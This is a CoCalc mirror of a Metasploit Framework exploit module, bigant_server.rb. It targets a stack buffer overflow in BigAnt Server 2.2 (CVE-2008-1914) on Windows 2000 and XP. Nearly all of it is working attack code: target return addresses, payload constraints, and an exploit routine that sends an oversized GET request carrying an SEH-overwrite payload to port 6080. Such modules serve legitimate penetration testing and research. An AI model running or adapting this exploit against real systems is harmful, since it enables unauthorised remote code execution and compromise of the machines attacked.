Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/bigant_server.rb
19512 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'BigAnt Server 2.2 Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in BigAnt Server 2.2.
19
By sending a specially crafted packet, an attacker may be
20
able to execute arbitrary code.
21
},
22
'Author' => [ 'MC' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2008-1914' ],
26
[ 'OSVDB', '44454' ],
27
[ 'BID', '28795' ],
28
],
29
'Privileged' => true,
30
'DefaultOptions' => {
31
'EXITFUNC' => 'process',
32
'AllowWin32SEH' => true
33
},
34
'Payload' => {
35
'Space' => 750,
36
'BadChars' => "\x00\x20\x0a\x0d",
37
'StackAdjustment' => -3500,
38
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
39
'DisableNops' => true,
40
},
41
'Platform' => 'win',
42
'Targets' => [
43
[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ],
44
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
45
],
46
'DefaultTarget' => 0,
47
'DisclosureDate' => '2008-04-15',
48
'Notes' => {
49
'Reliability' => UNKNOWN_RELIABILITY,
50
'Stability' => UNKNOWN_STABILITY,
51
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
}
53
)
54
)
55
56
register_options([Opt::RPORT(6080)])
57
end
58
59
def exploit
60
connect
61
62
sploit = "GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret)
63
sploit << rand_text_alpha_upper(1024 - payload.encoded.length)
64
65
print_status("Trying target #{target.name}...")
66
sock.put(sploit + "\n\n")
67
68
handler
69
disconnect
70
end
71
end
72
73